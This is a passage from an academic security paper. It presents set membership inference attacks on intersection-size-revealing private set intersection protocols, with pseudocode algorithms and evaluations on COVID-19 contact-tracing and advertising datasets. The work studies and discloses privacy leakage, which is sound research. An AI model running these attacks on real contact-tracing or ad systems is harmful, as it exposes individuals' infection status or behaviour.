associated with the indices in the intersection X ∩Y and gets
the sum ∑yi∈X∩Y vi. Then, the protocol sends this sum and the
intersection size |X ∩Y | to the party that inputs the table.

Private-ID [28]. This protocol is a black box that receives
a set X from one party and a set Y from the other party. It
internally assigns random tags to all elements in the union X∪
Y so that both parties will get the same tag for each element in
the intersection X ∩Y . Then, the protocol sends these tags and
the intersection size |X ∩Y | to both parties. The tags can be
used in the subsequent secure computation of many statistics
of the intersection X ∩Y .

Circuit-based PSI [55]. This protocol is a black box that
receives a table {(xi,ui)}xi∈X from one party and a table
{(yi,vi)}yi∈Y from the other party. Circuit-based PSI can com-
pute any function of the two parties’ values indexed by the
elements in the intersection X ∩Y . One can think that circuit-
based PSI is the ultimate solution for the computation of
intersection-related statistics. [55] implements a protocol of
circuit-based PSI and reveals the intersection size |X ∩Y | to
both parties to improve protocol efficiency.

Set membership inference problem. For the party that re-
ceives intersection size from intersection-size-revealing proto-
cols, this size measures the similarity between its and the
other party’s sets. Since the party can choose its set sent to
the protocols, it can measure the other party’s set in the way it
wants. An interesting problem is whether the party, with many
target elements, can determine these elements’ membership
of the other party’s set by leveraging this measurement ability.
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2.2 Threat Model
Attacker’s abilities. The attacker has the following abilities.

• The attacker is a party of intersection-size-revealing pro-
tocols. In each protocol invocation, it is allowed to choose
its input and learn the intersection size resulting from this
input and the other party’s set. Here, the other party is the
victim, and its set can be dynamic.

• The attacker is allowed to invoke the protocols with the
same victim repeatedly.

Attacker’s background knowledge. We consider the follow-
ing attackers with two kinds of background knowledge.

• Baseline attacker. This attacker has no background knowl-
edge about the victim’s set. We use the performance of
this attacker to measure the least set membership leakage
resulting from intersection-size-revealing protocols.

• Feature-aware attacker. This attacker knows that some fea-
tures are correlated with the bias in the victim’s set. In
other words, the attacker knows that the victim’s set tends
to include elements with specific features. This is the back-
ground knowledge about the set bias in the victim’s set.

Attacker’s goal. The attacker has many target elements and
is interested in these elements’ membership of the victim’s
set. If this set changes with time, the attacker will consider the
target elements’ historical set membership, which indicates
whether the target elements appeared in any snapshot of the
victim’s set from the beginning to the end of the attack.

3 Set Membership Inference Attacks

3.1 Baseline Attack
The baseline attacker adopts a binary-search-like strategy. It
first constructs such a binary tree that (i) each node stores a
non-empty set, (ii) the root stores the set of target elements,
and (iii) the set stored in a non-leaf node will be partitioned
into two non-empty and disjoint subsets, which will be respec-
tively stored in the two child nodes of the non-leaf node.

For node v of the binary tree T , let Tv ⊆ X denote the set
stored in node v and leftChild(v) (resp., rightChild(v)) denote
the left (resp., right) child node of v. Our baseline attack
follows the blueprint in Algorithm 1 and uses Algorithm 2 as
a subroutine to build a binary tree.

To infer the target elements’ set membership, the attacker
runs depth-first search (DFS) for the queued subtrees (the
queue initially contains the constructed binary tree). In each
DFS, the attacker (i) traverses a subtree popped from the
queue, (ii) invokes the protocol with the victim to receive the
intersection size regarding the set stored in each visited node,
and (iii) terminates at a node where the size of the stored set
equals the received intersection size. The unvisited subtrees

Algorithm 1: Blueprint of set membership inference
Input: A set X of target elements, background knowledge

BK, an algorithm buildTree.
Output: A set membership predicate σ such that, for each

xi ∈ X , σ(xi) = 1 if xi is in the victim’s set;
otherwise σ(xi) = 0.

1 Initialize Z←∅.
2 Input X to the protocol and get an intersection size m.
3 T ← buildTree(X ,BK). // Build a binary tree based on the

attacker’s background knowledge
4 forest←{(m/|X |,(m,T.root))}. // A priority queue of

(priority, subtree-info) tuples
5 while forest is not empty do
6 (mnode,node)← forest.pop().
7 while 0 < mnode < |Tnode| do
8 L← leftChild(node), R← rightChild(node).
9 if TR contains more elements than TL then

10 Input TL to the protocol and get an intersection
size mL.

11 mR← mnode−mL.
12 else
13 Input TR to the protocol and get an intersection

size mR.
14 mL← mnode−mR.

15 if mR/|TR|> mL/|TL| then
16 forest.push((mL/|TL|,(mL,L))).
17 node← R, mnode← mR. // Goto right child
18 else
19 forest.push((mR/|TR|,(mR,R))).
20 node← L, mnode← mL. // Goto left child

21 if mnode > 0 then Z← Z∪Tnode.

22 Let σ be such a predicate that σ(xi) = 1 iff xi ∈ X ∩Z.
23 return σ.

Algorithm 2: buildTree for the baseline attacker
Input: A set X . Ignore the parameter BK.
Output: A binary tree T .

1 Initialize T to contain a single node root that stores X .
2 Build a balanced binary tree T by recursively dividing a

stored set into two non-empty and disjoint subsets.
3 return T .

during this search are pushed into the queue for future DFS
(lines 16 and 19). In the end, the attacker empties the queue
and finds all subsets containing the target elements that the
victim also holds. Meanwhile, the attacker can see that the
other target elements are non-members.

The remaining question is how the baseline attacker par-
titions the set stored in a non-leaf node. Recall that, for the
baseline attacker, each target element has the same probability
of being a set member. It would be better for this attacker to
randomly and evenly partition the set and build a balanced
binary tree in the end. This practice ensures the minimum ex-
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pected length of a DFS path, or rather, the minimum expected
number of protocol invocations.

Efficiency analysis. Our baseline attack is more efficient than
the toy attack due to the binary-search-like strategy. Suppose
that the victim’s set Y is static and the attacker has constructed
a binary tree T . Our first observation is that the following
equality holds for any non-leaf node v of the tree T :

|Tv∩Y |= |TleftChild(v)∩Y |+ |TrightChild(v)∩Y |. (1)

With this equality, the attacker can locally determine the inter-
section size of one child node (e.g., |TrightChild(v)∩Y |) if it has
learned that of the parent node (e.g., |Tv∩Y |) and that of the
other child node (e.g., |TleftChild(v)∩Y |). Thus, the attacker can
save the vain invocations for the intersection sizes that can be
determined locally. In our implementation, the attacker uses
this property to maintain the queue of subtrees where, except
for the initial case, the intersection size of each pushed sub-
tree’s root has been locally determined (lines 16 and 19). Thus,
the attacker can save at least half of the protocol invocations
for every non-root layer of the binary tree.

Recall that in a balanced binary tree with N := |X | leaf
nodes, there are 2N−2⌈log2 N⌉ leaf nodes with depth ⌈log2 N⌉.
There is an upper bound of the total number of invocations to
determine all intersection sizes on the binary tree:

1+
1
2
·
⌈log2 N⌉−1

∑
d=1

2d +
1
2

(
2N−2⌈log2 N⌉

)
= N, (2)

which equals the total number of invocations required by the
toy attack. This bound guarantees that the efficiency of our
baseline attack is no worse than that of the toy attack.

Our second observation is that this upper bound is loose,
given that each DFS may early terminate at a non-leaf node
with a depth less than ⌈log2 N⌉. This early termination comes
from the fact that some singleton sets each of a target element
are merged into a larger subset of the victim’s set. When a
DFS encounters this subset, the attacker will learn the set
membership of a batch of target elements and terminate this
DFS. In this case, the number of invocations is reduced due to
the shortened length of the DFS path. Moreover, the number of
the remaining target elements is also reduced and fewer DFS
passes are required for further inference. Thus, our baseline
attack should be more efficient than the toy attack.

Efficiency optimization: greedy DFS. Since the merge of set
members improves attack efficiency, the attacker should first
search the subtree with the greatest merge probability. This
probability is positively related to the ratio of the intersection
size of the subtree’s root to the number of target elements
in this subtree. This ratio is known to the attacker, and the
attacker can use this ratio as the priority score to sort the
subtrees pushed into the (priority) queue. In this way, the
attacker will first run DFS on the popped subtree with the
greatest merge probability (line 6). In each DFS, the attacker

IS = 4, priority = 0.5

pushed into the priority queue

priority = 0.25

priority = 0.5

merge

IS = 3,
priority = 0.75IS = 2,

priority = 1
early termination

Figure 1: An example of early termination. The DFS path
with intersection size (IS) and priority is highlighted in red,
and each shadowed leaf node corresponds to a set member.

Algorithm 3: buildTree for the feature-aware attacker
Input: A set X , background knowledge BK.
Output: A binary tree T .

1 Parse BK as a table DX such that DX [xi] denotes the features
associated with a target element xi ∈ X .

2 Initialize T to contain a single node root.
3 Troot← X , queue←{root}.
4 while queue is not empty do
5 node← queue.pop().
6 Use features {xi ∈ Tnode : DX [xi]} to run k-means to

divide Tnode into two subsets SL and SR.
7 Append two child nodes L and R to node.
8 TL← SL, TR← SR.
9 if |SL|> 1 then queue.push(L).

10 if |SR|> 1 then queue.push(R).

11 return T .

recursively visits the child node whose subtree has the greatest
priority score (line 15). An example is presented in Figure 1.

3.2 Feature-aware Attack
Our feature-aware attack also follows the blueprint in Algo-
rithm 1 but turns to Algorithm 3 to build a different binary
tree. The only difference between the feature-aware attack
and the baseline attack is how the subsets of target elements
are distributed over the constructed binary tree.

Recall that the ideal event in a set membership inference
attack is that the attacker inputs a set of target elements to an
intersection-size-revealing protocol and finds that they all are
members of the victim’s set. This event significantly improves
the attack efficiency in that (i) the length of the DFS path is
reduced, and (ii) the number of the remaining target elements
whose set membership is to be inferred is also reduced.

The intuition behind our feature-aware attack is that the
attacker can trigger this ideal event more often than the base-
line attacker. Recall that the set bias inclines the victim’s set
to include the elements associated with specific features. The
feature-aware attacker can use its knowledge about this set
bias and the related features to adjust the subset distribution
over the constructed tree. More concretely, the attacker uses
the known features to partition a set of target elements into
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two disjoint subsets such that (i) the elements in the same sub-
set have similar features, and (ii) any two elements belonging
to two different subsets are different in the features. Using
this partitioning strategy, the attacker is more likely to find
set members in batches.

In our implementation, we simply use k-means [57, 58] to
hierarchically partition a set stored in a parent node into two
subsets respectively stored in the two child nodes. The hierar-
chical invocations of k-means naturally assign the elements
with different features to the leaf nodes far away on the binary
tree. Meanwhile, the target elements with similar features are
clustered in the leaf nodes close to each other. The resulting
binary tree is expected to enable more early terminations than
its counterpart in the baseline attack.

There is, however, a limitation of our feature-aware attack:
the constructed binary tree may not be balanced. This limita-
tion is because k-means does not necessarily partition a set
into two subsets of the same size.

3.3 Applying the Attacks to A Dynamic Set
Following the blueprint (Algorithm 1), our two attacks require
several protocol invocations to infer the target elements’ set
membership. Due to Equation 1, the inference result must
be correct if the victim’s set is static in these invocations.
However, this set can be dynamic in realistic scenarios. We
need to consider how such a change will affect the correctness
of our attacks.

An important observation is that this effect occurs only if
the changed elements in the victim’s set happen to be those
targeted by the attacker. Otherwise, the set change does not
affect Equation 1, and the two attacks’ correctness still holds.
Hence, we consider two primary cases regarding the changing
intersection of the two parties’ sets:

• Increasing intersection. The victim’s set grows during the
attack, and the added elements have been targeted.

• Decreasing intersection. The victim’s set shrinks during
the attack, and the removed elements have been targeted.

Let t(v)≥ 0 denote the number of invocations before the
attacker determines the intersection size of the set stored in the
node v and Y t denote the snapshot of the victim’s set Y after
t ≥ 0 invocations. For the increasing case and any non-leaf
node v with two child nodes L and R, we can see that

|TL∩Y t(v)| ≤ |TL∩Y t(L)|, |TR∩Y t(v)| ≤ |TR∩Y t(R)|,

|Tv∩Y t(v)|= |TL∩Y t(v)|+ |TR∩Y t(v)|

≤ |TL∩Y t(L)|+ |TR∩Y t(R)|, (3)

where the equality holds if Y t(v) = Y t(L) = Y t(R).
Inequality 3 shows that, for an increasing intersection, Al-

gorithm 1 may underestimate one child node’s current inter-
section size due to the simple subtraction in lines 11 and 14.

Given that the attacker’s goal is historical set membership
(Section 2.2), this underestimation will lead to false negatives
and no false positive. False negatives come from the fact that
if Algorithm 1 visits the subtree containing an element newly
added to the victim’s set, another set member in the other
subtree will be falsely recognized as a non-member. However,
since all intersection sizes are underestimated, there is no
capacity for a node whose intersection size meets the termina-
tion condition (i.e., mnode = |Tnode|) to contain a non-member
element. Thus, there is no false positive in this case.

For a decreasing intersection, we can follow a similar anal-
ysis to the previous case and find that

|Tv∩Y t(v)| ≥ |TL∩Y t(L)|+ |TR∩Y t(R)|, (4)

where the equality holds if Y t(v) = Y t(L) = Y t(R). Inequality
4 shows that the attacker may overestimate one child node’s
current intersection size. The overestimation here will cause
false positives and no false negative. False positives are due
to the false early termination on a node whose intersection
size is overestimated and does not actually equal its capacity.
The overestimation also promises that no set member will be
missed, and thus there is no false negative.

A mixed case. In this case, the victim’s set may change in
the way that, after each invocation, some target elements are
added to the set while some others already in the set are
removed. This mixed case can be regarded as a composition
of the two primary cases. It is expected that the attacker will
obtain both false positives and false negatives in this case.

4 Evaluation Setup

Here, we aim to evaluate the realistic set membership leakage
caused by our attacks. Section 4.1 describes three realistic sce-
narios that claim to use intersection-size-revealing protocols.
Section 4.2 presents the sources of the real-world datasets
related to these scenarios. Section 4.3 shows the characteris-
tics of the victim’s dynamic sets in these datasets. Section 4.4
describes the attacker’s inputs to be used to evaluate our two
attacks. Section 4.5 introduces our evaluation metrics.

4.1 Realistic Scenarios
Table 1 presents some intersection-size-revealing protocols,
followed by their application scenarios and high-level systems.
Due to the application of such protocols, these real systems
allow the revelation of intersection size. How the protocols
are used in the scenarios is recalled below.

COVID-19 contact tracing from PSI-CA. How PSI-CA is
used in COVID-19 contact tracing varies with system design.
Token-based contact tracing systems (e.g., Epione [69, 70]
and Catalic [35, 36]) allow two persons to automatically ex-
change via Bluetooth their real-time tokens when they are
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Table 1: Intersection-size-revealing protocols and their applications to realistic scenarios.

Protocol Scenario High-level System Developer

PSI-CA and its variant COVID-19 contact tracing
Epione [69, 70] Researchers
Catalic [35, 36] Researchers
COVID-19 Alert [66, 67] Openmined

PSI-SUM Measurement of ad conversion revenue Private Join and Compute [46, 47, 52] Google
Private-ID Measurement of ad conversion lift Private Lift [40, 41, 42, 62] Facebook

in close proximity. Each person maintains a set of tokens
received from others. To identify any exposure to COVID-19
but preserve the privacy of infected patients, a person can
use the token set to invoke a PSI-CA with the health author-
ity, who has a set of infected patients’ tokens. The person
receives the intersection size of the two sets and learns that it
has contacted so many infected patients.

In location-based contact tracing systems (e.g., COVID-
Alert [66, 67]), the health authority maintains a set of the
locations that COVID-19 patients have visited. A person can
test its exposure by using the set of its visited locations to
run PSI-CA1 with the health authority. The intersection size
given to the person shows the number of locations where it
may have contacted any infected patients.

Measurement of ad conversion revenue from PSI-SUM.
In this scenario, an advertiser (e.g., a retailer) wants to calcu-
late the revenue contributed by the persons who have clicked
its ad displayed by a publisher. Google’s Private Join and
Compute [46, 47, 52] facilitates this calculation by using PSI-
SUM, where the advertiser inputs a table of (personal_id,
spending) pairs and the publisher inputs a set of ad click-
ers’ personal_ids. The advertiser will receive the aggre-
gate conversion revenue from PSI-SUM and the number of
personal_ids shared by the two parties.

Here, personal_id serves as the index to identify the per-
sons who have clicked the ad and purchased the product. A
personal_id in advertising campaigns can be a hashed email
address, a hashed phone number [29, 50], or an International
Mobile Equipment Identity (IMEI) number [26]. It is usually
linked to a user profile and can identify a real-world person.

Measurement of ad conversion lift from Private-ID. Face-
book’s Private Lift [40, 41, 62] realizes A/B testing [1] to
tell an advertiser how many incremental conversions were
generated because persons have seen its ad displayed by a pub-
lisher. Here, the publisher selected some persons who were
interested in the ad. During the A/B testing, the publisher
randomly assigned each person to either a treatment group or
a control group. The persons in the treatment group would
see the ad, while those in the control group were qualified to
see the ad but would not see it from the publisher [13, 23].

The first step to measure the conversion lift concerning

1According to the technical explanation [67], COVID-Alert uses Homo-
morphic Encryption to compute the intersection size of two sets of GPS
coordinates. Thus, this system is based on PSI-CA.

the two groups is that the advertiser and the publisher invoke
Private-ID [28] to align their sets of personal_ids. Specifi-
cally, the advertiser inputs a set of customers’ personal_ids,
and the publisher inputs a set of the personal_ids of all
persons in the two groups. Then, Private-ID assigns a fresh
unique tag to each personal_id in the union of the two par-
ties’ sets. At the end of this step, the two parties will receive
from Private-ID the tags of all personal_ids in the union
and the number of the personal_ids shared by the two par-
ties. Facebook’s Private Lift further uses these tags in the
secure downstream computation of conversion lift.

A note on the attacker’s abilities in these scenarios. We
note that the attacker’s abilities assumed in Section 2.2 are
satisfied in the above scenarios. First, the attacker can be (i)
the person who tests its exposure in COVID-19 contact trac-
ing, (ii) the advertiser in the measurement of ad conversion
revenue, or (iii) the advertiser in the measurement of ad con-
version lift. Thus, the attacker in each scenario is supposed to
receive intersection size from the underlying protocol. Sec-
ond, these scenarios do need to invoke the intersection-size-
revealing protocols regularly. In COVID-19 contact tracing,
the person should periodically test its exposure to COVID-19.
In the two advertising scenarios, the advertiser is allowed
to request the statistics on an hourly or daily basis2 (e.g.,
[24, 51, 71]) to make informed marketing decisions.

A note on the attacker’s target elements and background
knowledge in these scenarios. We note that (i) the attacker
can collect valid elements used in the scenarios so that its
target elements chosen from them are also valid, and (ii) the
attacker can learn some features of the target elements.

In COVID-19 contact tracing, we focus on the two token-
based systems. Such systems are based on the automatic ex-
change of tokens and can be used with other COVID-19 con-
trol measures (e.g., temperature screening [17, 18, 19, 20]
and symptom screening [21, 22]). The attacker can set up its
mobile phones in specific places to collect personal tokens
and record the person(s) showing up at the moment when each
token was received. This technique is known in the linkage
attack [14] against the tokens of COVID-19 patients. Given
this token-person record, if the attacker also has access to the
data collected in those control measures, it can learn some

2For the readers familiar with secure computation, there is a reusability
issue of the tags generated by Facebook’s Private-ID protocol. We discuss
this issue in Appendix A.
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symptom features (e.g., fever and cough) of each recorded
person and associate these features with the personal token.

In the two advertising scenarios, the advertiser can obtain
personal_ids from (i) its first-party data of customers and
(ii) third-party marketplaces [10, 11]. These personal_ids
are immediately linked to real-world persons and are associ-
ated with many personal features (e.g., demographics).

4.2 Data Sources
To quantify the leakage threat faced by the victim in the three
scenarios, we use3 the following three public datasets, each
of which is related to one scenario.

• COVID-19 dataset of tested individuals in Israel4. This
dataset was collected by Israel Ministry of Health [7] and
the authors [73] translated it into English. After data clean-
ing, there are 255,668 distinct individuals who were tested
for COVID-19 from March 22, 2020, to April 30, 2020.
Each individual record has a test date and is associated
with eight features. This dataset is used for the leakage
quantification in COVID-19 contact tracing.

• Taobao’s dataset of ad display/click records5. This
dataset was collected on Taobao, a Chinese online shopping
platform owned by Alibaba Group. This platform allows
small businesses and individual entrepreneurs to open on-
line retail stores and sell their products. After data cleaning,
there are 25,029,435 ad display/click records concerning
827,009 ads and 1,061,768 individuals. The records were
collected from May 6, 2017, 00:00:00 AM to May 14, 2017,
00:00:00 AM. Each individual is associated with eight fea-
tures. This dataset is used for the leakage quantification in
the measurement of ad conversion revenue.

• Tencent’s dataset of ad display records6. This dataset
was collected by Tencent for the 2019 Tencent Advertising
Algorithm Competition. It contains 102,386,695 ad display
records concerning 509,280 ads and 1,341,958 individuals.
The records were collected from February 17, 2019, to
March 20, 2019. Each individual is associated with ten
features. This dataset is used for the leakage quantification
in the measurement of ad conversion lift.

A note on the two ad datasets. Due to a large number of
ads, we only present the evaluation results of the ad with the
most records. The ad_ids are 710164 and 320379 for the
two datasets, respectively.

Ethics. Datasets used in this work are publicly available after
the proper data anonymization that their owners performed.

3Our source code can be found at: https://github.com/ErwinSCat
/set_membership_inference.

4https://github.com/nshomron/covidpred
5https://tianchi.aliyun.com/dataset/dataDetail?dataId=5

6&lang=en-us
6https://algo.qq.com/archive.html?&lang=en
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Figure 2: The size change of the victim’s dynamic set.

Table 2: Parameters in the simulation of the attacker’s input.

Scenario Attack Time (β0) |X | β

COVID-19
contact tracing

April 4, 2020
(0.0273)

512 {β0,5β0,10β0}
1024 β0
2048 β0

Measurement of
ad conversion revenue

May 9, 2017,
00:00:00 AM
(0.0032)

512 {β0,5β0,10β0}
1024 β0
2048 β0

Measurement of
ad conversion lift

February 19, 2019
(0.0070)

512 {β0,5β0,10β0}
1024 β0
2048 β0

Thus, we cannot deduce any Personal Identifiable Information
(PII) of real-world individuals from these datasets. In our
evaluation, we only exploited the time-dependent distribution
of the population of each dataset and measured the statistical
leakage concerning artificial IDs.

4.3 Characteristics of the Victim’s Set
We can extract the victim’s realistic sets in the scenarios from
the given datasets. A set of the victim is supposed to include (i)
the tokens of infected patients in COVID-19 contact tracing,
(ii) the personal_ids of the persons who have clicked the
ad in the measurement of ad conversion revenue, or (iii) the
personal_ids of the persons who were qualified to see the
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Table 3: Set bias with respect to each feature, measured in mutual information.

Scenario feature name (MI value)

COVID-19 contact tracing fever (0.0168), cough (0.0099), gender (0.0004)

Measurement of ad conversion revenue
age (0.0010), gender (0.0007), shopping_level (0.0002),
work (0.0002), consumption_ability (0.0001), city_level (0.0001)

Measurement of ad conversion lift
marriage_status (0.0013), education (0.0012), consumption_ability (0.0012),
age (0.0009), work (0.0005), gender (0.0001)

ad (i.e., to participate the A/B testing) in the measurement
of ad conversion lift. We artificially assign unique IDs to the
persons in the datasets. These IDs are regarded as the tokens
or the personal_ids in the scenarios.

We represent the victim’s dynamic set as a time series of
snapshot sets. The victim uses each snapshot set in a time-
specific protocol invocation, and a snapshot set contains the
elements that the victim held in a past time window. That is,
outdated elements will be excluded from the current snapshot
set. Note that this time window is introduced by the concerned
scenarios. In COVID-19 contact tracing, the health authority
is suggested to keep the tokens of the infected patients in
the last 14 days [70], which equals the maximum incubation
period of COVID-19. In the two online advertising scenarios,
such a time window is known as the "conversion window" or
"attribution window", capturing the number of days between
when a person clicked or viewed an ad and subsequently took
action. Its size is chosen by the advertiser (i.e., the attacker)
and can range from 1 to 90 days [49]. The publisher is asked
to keep the personal_ids of the persons who clicked or
viewed the ad during this period. Since the time span of each
advertising dataset is less than 90 days, we simply set the
window size of the dataset to be its time span.

We extract a time series of snapshot sets for each dataset
by sliding a time window over the time span of the dataset. A
snapshot set is formed from all elements in its time window.
In Figure 2, we show the size change of the victim’s set.

4.4 Simulation of the Attacker’s Input
To evaluate the set membership leakage, we need to simulate
the attacker’s input (i.e., a set of target elements, and the
features used by the feature-aware attacker) in Algorithm 1.

The simulation of the set X of target elements works as
follows. Note that the attacker’s choice of target elements
eventually affects the proportion β ∈ [0,1], defined as the
number of the target elements in the snapshot set at the be-
ginning of the attack divided by the total number of the target
elements. Since we cannot exhaust the attacker’s choices of
target elements, we turn to simulate its sets with different set
sizes and values of β. Given the time to launch the attack and
the snapshot set at this moment, we simulate a set X for the
set size |X | and the proportion β as follows.

• According to the attack time and the snapshot set, divide the

population U of the dataset into two disjoint sets. The posi-
tive set A is just the snapshot set itself, while the negative
set B :=U\A is the complement of A.

• Uniformly sample ⌈β · |X |⌉ persons from the positive set
and |X |−⌈β · |X |⌉ persons from the negative set. The set X
is formed from the artificial IDs of the sampled persons.

We define β0 := |A|/|U | and summarize in Table 2 the pa-
rameters used in the simulation of the set X . We explain our
choices of β in Appendix B.1.

Then, we consider the features used by the feature-aware
attacker. Since an artificial ID is assigned to a real-world
person, we associate the corresponding personal features with
the ID. We only use the features that the attacker can easily
identify in real life. In the COVID-19 dataset, the attacker can
learn (fever, cough, gender). In the two advertising scenar-
ios, the attacker only learns some demographic features, i.e.,
(age, gender, consumption_ability, shopping_level,
work, city_level) in Taobao’s dataset and (age, gender,
education, consumption_ability, marriage_status,
work) in Tencent’s dataset. The preprocessing of the features
is given in Appendix B.2.

A note on the number of protocol invocations. This number
equals the number of invocations per time unit multiplied by
the number of the time units after the beginning of the attack.
In COVID-19 contact tracing, the time unit is a day, and we set
the number of invocations per day to five, which is practical
for the attacker. In the measurement of ad conversion revenue,
the time unit is an hour, and the number of invocations per
hour is one due to hourly reporting [51]. In the measurement
of ad conversion lift, the time unit is a day, and the number of
invocations per day is one due to daily reporting [24, 71].

4.5 Metrics

We repeat the evaluation in each parameter setting 20 times
and use the toy attack (in our Introduction) for comparison.
We consider the following metrics for each attack.

• # total: the total number of the target elements whose set
membership is determined.

• # members: the number of the target elements diagnosed
as the members of the victim’s set.
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Table 4: # total breakdown at the end of the attack in COVID-
19 contact tracing. T: toy attack, B: baseline attack, K: feature-
aware attack instantiated with k-means.

# TP # FP # TN # FN % initial TP

|X |= 512, β = β0 = 0.0273, ⌈β · |X |⌉= 14

T 2.6 (1.1) 0.0 (0.0) 128.4 (2.4) 4.0 (1.8) n/a
B 12.0 (2.1) 2.6 (1.6) 486.2 (2.8) 11.1 (3.0) 0.63 (0.16)
K 13.4 (1.3) 1.7 (1.0) 488.1 (2.7) 8.8 (2.3) 0.69 (0.11)

|X |= 1024, β = β0 = 0.0273, ⌈β · |X |⌉= 28

T 2.5 (1.3) 0.0 (0.0) 128.6 (2.2) 3.9 (1.7) 0.52 (0.41)
B 18.1 (2.9) 9.1 (2.8) 923.1 (58.8) 32.5 (3.6) 0.43 (0.08)
K 22.4 (2.3) 6.7 (2.2) 964.4 (5.5) 29.9 (4.6) 0.57 (0.07)

|X |= 2048, β = β0 = 0.0273, ⌈β · |X |⌉= 56

T 3.0 (1.4) 0.0 (0.0) 127.5 (2.4) 4.5 (2.0) n/a
B 17.6 (2.2) 17.8 (4.8) 769.9 (116.3) 33.6 (8.8) 0.43 (0.08)
K 25.9 (3.8) 15.3 (4.2) 791.8 (266.9) 32.7 (10.1) 0.67 (0.07)

|X |= 512, β = 5β0 = 0.1367, ⌈β · |X |⌉= 70

T 6.7 (2.1) 0.0 (0.0) 113.7 (3.8) 14.7 (3.4) 0.77 (0.13)
B 24.9 (3.3) 34.6 (3.9) 396.0 (5.1) 56.0 (3.6) 0.75 (0.09)
K 40.2 (4.1) 24.3 (3.4) 402.9 (17.7) 40.5 (5.0) 0.84 (0.06)

|X |= 512, β = 10β0 = 0.2734, ⌈β · |X |⌉= 140

T 12.9 (2.7) 0.0 (0.0) 95.0 (3.9) 27.1 (4.1) 0.88 (0.10)
B 49.0 (4.4) 64.5 (4.8) 295.9 (7.6) 101.0 (5.7) 0.87 (0.05)
K 72.7 (4.9) 53.4 (9.5) 306.5 (12.5) 77.0 (5.3) 0.93 (0.03)

• # TP, # FP, # TN, and # FN: the number of (i) true posi-
tives, (ii) false positives, (iii) true negatives, and (iv) false
negatives. These metrics are measured according to Section
3.3 where a positive denotes a set member and a negative
denotes a non-member. Note that # total = # TP+ # FP+
# TN+# FN and # members = # TP+# FP.

• % initial TP: the number of the true positives, which come
from the victim’s snapshot set at the beginning of the attack,
divided by the total number of true positives.

The first two metrics show the speed of set membership leak-
age, and we plot these metrics as functions of the number of
protocol invocations. The other metrics can only be measured
at the end of the attack due to the victim’s dynamic set and
are written in "mean (standard deviation)".

5 Evaluation Results

5.1 Set Bias Measurement
We measure the set bias in each scenario using Mutual Infor-
mation (MI) [16] between the used features and whether an
element appeared in the victim’s snapshot set at the beginning
of the attack. There is an MI value between each feature and
the set membership. The higher the MI value, the stronger
the set bias concerning this feature. In Table 3, we sort the
MI values in the three scenarios in descending order. These
values are measured at the beginning of the attack.

Table 5: # total breakdown at the end of the attack in the mea-
surement of ad conversion revenue. T: toy attack, B: baseline
attack, K: feature-aware attack instantiated with k-means.

# TP # FP # TN # FN % initial TP

|X |= 512, β = β0 = 0.0032, ⌈β · |X |⌉= 2

T 0.3 (0.5) 0.0 (0.0) 120.6 (0.5) 0.1 (0.2) n/a
B 2.0 (0.0) 0.0 (0.0) 509.6 (0.6) 0.3 (0.6) 1.00 (0.00)
K 2.0 (0.2) 0.0 (0.0) 509.6 (0.6) 0.3 (0.6) 0.88 (0.20)

|X |= 1024, β = β0 = 0.0032, ⌈β · |X |⌉= 4

T 0.8 (0.7) 0.0 (0.0) 120.0 (0.7) 0.2 (0.4) n/a
B 4.0 (0.0) 0.0 (0.0) 1019.5 (0.7) 0.5 (0.7) 0.97 (0.07)
K 4.2 (0.4) 0.0 (0.0) 1019.3 (0.9) 0.6 (0.7) 0.95 (0.10)

|X |= 2048, β = β0 = 0.0032, ⌈β · |X |⌉= 7

T 0.3 (0.6) 0.0 (0.0) 120.5 (0.7) 0.1 (0.5) n/a
B 7.5 (0.9) 0.0 (0.0) 2037.3 (1.7) 3.1 (1.4) 0.82 (0.14)
K 7.5 (0.7) 0.0 (0.0) 2037.0 (1.7) 3.5 (1.5) 0.80 (0.12)

|X |= 512, β = 5β0 = 0.0162, ⌈β · |X |⌉= 9

T 2.2 (1.0) 0.0 (0.0) 118.7 (1.0) 0.1 (0.3) n/a
B 9.1 (0.4) 0.0 (0.0) 502.4 (0.9) 0.6 (0.9) 0.97 (0.06)
K 9.0 (0.0) 0.0 (0.0) 502.4 (0.9) 0.7 (0.9) 0.97 (0.06)

|X |= 512, β = 10β0 = 0.0323, ⌈β · |X |⌉= 17

T 4.0 (1.5) 0.0 (0.0) 117.0 (1.5) 0.0 (0.0) 0.96 (0.08)
B 17.2 (0.4) 0.0 (0.0) 493.8 (0.9) 1.1 (0.9) 0.96 (0.04)
K 17.2 (0.4) 0.0 (0.0) 493.9 (0.8) 0.9 (0.7) 0.96 (0.04)

5.2 Set Membership Leakage in the Scenarios

5.2.1 Scenario 1: COVID-19 contact tracing

The characteristics of this scenario are that (i) the attacker
invokes PSI-CA many times (i.e., 5 per day × 27 days), and
(ii) the features used by the attacker are correlated with the set
bias. We expect that facing these characteristics, our feature-
aware attack can cause the most severe set membership leak-
age, followed by our baseline attack and finally the toy attack.

Figure 3 shows that our two attacks can determine the set
membership of more target elements than the toy attack. In
particular, they can find more historical set members in the
victim’s dynamic set as expected. Table 4 also shows the
accuracy metrics of the three attacks. As noted in Section
3.3, there are false positives and false negatives in our two
attacks due to the set change in Figure 2a. Although the set
members inferred from our attacks are not perfectly correct
like the toy attack7, our attacks outperform the toy one in
terms of the number of true positives. This number determines
whether the attacker can identify many true set members in
the limited number of PSI-CA invocations. Considering this
metric and the leakage speed in Figure 3, we conclude that
our two attacks lead to a more severe set membership leakage.

7The toy attack has no false positive since, in this attack, the set member-
ship of one element does not affect that of another one.
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Figure 3: Set membership leakage in COVID-19 contact tracing, measured in # total and # members. We plot the two metrics
after the last (i.e., 5-th) PSI-CA invocation per day.
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Figure 4: Set membership leakage in the measurement of ad conversion revenue, measured in # total and # members.

Table 4 shows that our feature-aware attack has fewer false
positives and false negatives than our baseline attack. Recall
that the two attacks follow the same blueprint and only differ
in the usage of features. Thus, the difference in attack perfor-
mance must owe to the bias-correlated features. In fact, we
can see from Figure 3 that these features help to increase leak-
age speed. This result coincides with our expectation that the
attacker with bias-correlated features can infer set member-
ship in batches and reduce the number of PSI-CA invocations.
This reduction prevents a significant change in the victim’s
set, and the set change is the cause of false positives and false
negatives. Thus, the feature-aware attack is more accurate
than the baseline attack. The insignificant set change also en-
sures that the feature-aware attack can find more set members
in the victim’s initial snapshot set, as indicated by % initial
TP. To sum up, the feature-aware attacker does cause a more
severe leakage than the baseline one.

However, the feature-aware attacker’s advantage in infer-
ring set members comes at the cost of reducing the number of
non-members obtained in the early stage of the attack. This
phenomenon is apparent when |X | ∈ {512,1024,2048} and
β = 0.0273. The reason is that the binary tree is unbalanced
